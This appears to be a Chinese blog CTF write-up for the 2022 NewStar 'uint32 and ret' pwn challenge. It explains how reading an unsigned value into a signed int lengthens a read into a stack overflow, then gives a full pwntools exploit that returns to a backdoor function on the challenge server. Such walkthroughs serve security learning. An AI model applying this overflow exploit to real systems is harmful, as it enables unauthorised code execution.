2022NewStar新生赛week2—uint32 and ret

先查看一下保护机制

再打开64位的ida

发现有个可能的栈溢出,然后计算一下发现48是0x30,不够栈溢出,但是看这个代码,我们发现这个长度是可以改变的,0x30-v2,v2是什么,是一个int变量,也就是说可以是负数,但是我们知道%u是以unsigned int的形式读入的,所以只能读入正的数字,那么以unsigned int的形式读入int变量,那么会把unsigned int强制类型转换成int,我们知道在int里面,最高位的0/1位表示正负,但是在unsigned int里面,最高位的0/1表示大小,所以说unsigned int的一个很大的数字转换一下就会变成很小的数字,我们先算一下自己要多大的栈溢出
我们在左边发现有个叫做backdoor的函数,点进去一看

就是我们要的shell,也就是说我们只需要溢出到返回地址就可以了,也就是0x60,然后看看和0x30差了0x30,也就是转换后要是-48,当然更小也是可以的,我们编个c语言程序计算一下转换前的值

4294967248
那么我们的payload就出来了

from pwn import*
p=remote('node4.buuoj.cn',28277)
p.recvuntil('success!\n')
p.sendline(str(4294967248))
p.recvuntil('twice\n')
payload=b'a'*0x58+p64(0x4011be)
p.sendline(payload)
p.interactive()
posted @ 2022-10-04 10:29  予柒  阅读(60)  评论(0)    收藏  举报
返回顶端
Live2D /*修改地一:waifu.css*/
/*修改地二:waifu.css*/
/*修改地三:live2d.js*/ /*修改地四:waifu-tips.js*/